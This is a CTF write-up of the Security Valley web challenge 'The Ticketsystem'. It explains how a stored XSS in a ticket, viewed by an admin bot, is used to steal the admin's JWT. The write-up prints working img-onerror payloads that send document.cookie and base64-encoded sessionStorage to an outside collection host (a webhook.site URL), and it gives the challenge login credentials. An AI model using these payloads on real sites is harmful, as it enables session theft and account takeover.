Post

The Ticketsystem

This is a writeup of the web challenge The Ticketsystem from the Security Valley CTF

Level: 3, Score: 40

Premise

Our IT department has released a new web based support system. Every user can now create a ticket if she/he needs help. Is that awesome?! And the admins have promised to check every ticket super fast. So don’t forget: everybody trust the admin! And the admin trust you! Is that a mistake in the end? Please login with username ‘ticket’ and password ‘!H3LP-CNTR90’ to create a ticket. Please not: the ticket-system is recreating every hour.

Link: https://ctf.securityvalley.org/tfe

Link: https://ctf.securityvalley.org/tfe

Observations

If we start out by looking at the login page we get redirectd too, we can open our browsers network tab and find the login document.

As we can see in the challenge description, we have a set of credentials, from which we can login to the page.

Once logged in, we can create a ticket, when we do so, we get a prompt to wait 5 to 10 seconds and aTicket id.

ticket submitted

Attempting to navigate to the ticket using the ID yields no result.

If we look at the page source and go to the debugger and look at the contents of the main.js file there. If we search the word admin, we find that there is a path labled 'admin/id', meaning that we can navigate to our ticket (if we were an admin user).

(Navigations outside the first 3 in the array will redirect to the /login page)

page visable to admin

Looking in our session storage, we also find that we have a JWT session token. JWT token

Decoding this contains the following: decoded JWT

Looking at the response headers, we get an interesting bit of information.

The content security policy will upgrade insecure requests, it only trusts connections from itself (connect-src), an assets link, but most importantly, it has its img-src set to *, meaning that it will accept images from anywhere, lets keep this in mind for later. response headers

Solution

If we had a secret key, we could attempt to forge a fake admin key. Since we do not, a different approach is required, we’re going to attempt to steal the admins session cookie.

We can do this since we know the admin uses a machine that will allow us to steal a session cookie, since the challenge states that the admin views the ticket, so if we can get some form of code execution on the admins machine, we should be able to steal a admin JWT token.

If we look at WebHacking101 we find the 4th example:

<img src=x onerror="this.src='http://192.168.0.18:8888/?'+document.cookie; this.removeAttribute('onerror');">

As previously mentioned, the page will accept any image source, so we exploit this.

The basic premise here is that we want to trigger the onerror script, which will look at the logged in (admin) user, steal those admin credentials, and pass them to a destination.

However, we want to modify the destination of the token (since we cant reach 192.168.0.18), and we can do this with the site webhook.site. For my instance here, my hook was https://webhook.site/f6263527-fb76-45d7-b8b8-f484a0554ecf, (note that the autogenerated ID varies), making this the page my attack “phones home” to: <img src=x onerror="this.src='https://webhook.site/f6263527-fb76-45d7-b8b8-f484a0554ecf/?'+document.cookie; this.removeAttribute('onerror');">

This gave us no result, but if we tweak the exploit string a bit, so if we actually attempt to pass the session storage, we get the following exploit string: <img src=x onerror="this.src='https://webhook.site/f6263527-fb76-45d7-b8b8-f484a0554ecf?session='+btoa(JSON.stringify(sessionStorage)); this.removeAttribute('onerror');"> ba9abf7e-bfb1-4655-9346-73a7dd1648a1 Which gives us: response headers

Decoding this token (in CyberChef) gives us: admin token b64 decode

We can now change our current session storage to our newly obtained admin credentials admin credentials

If we now navigate to the previously found page (/admin/[TICKET ID]), we can view the following window: flag

Containing the name of our ticket, our command and most importantly, the flag.

Tools and sources used:

This post is licensed under CC BY 4.0 by the author.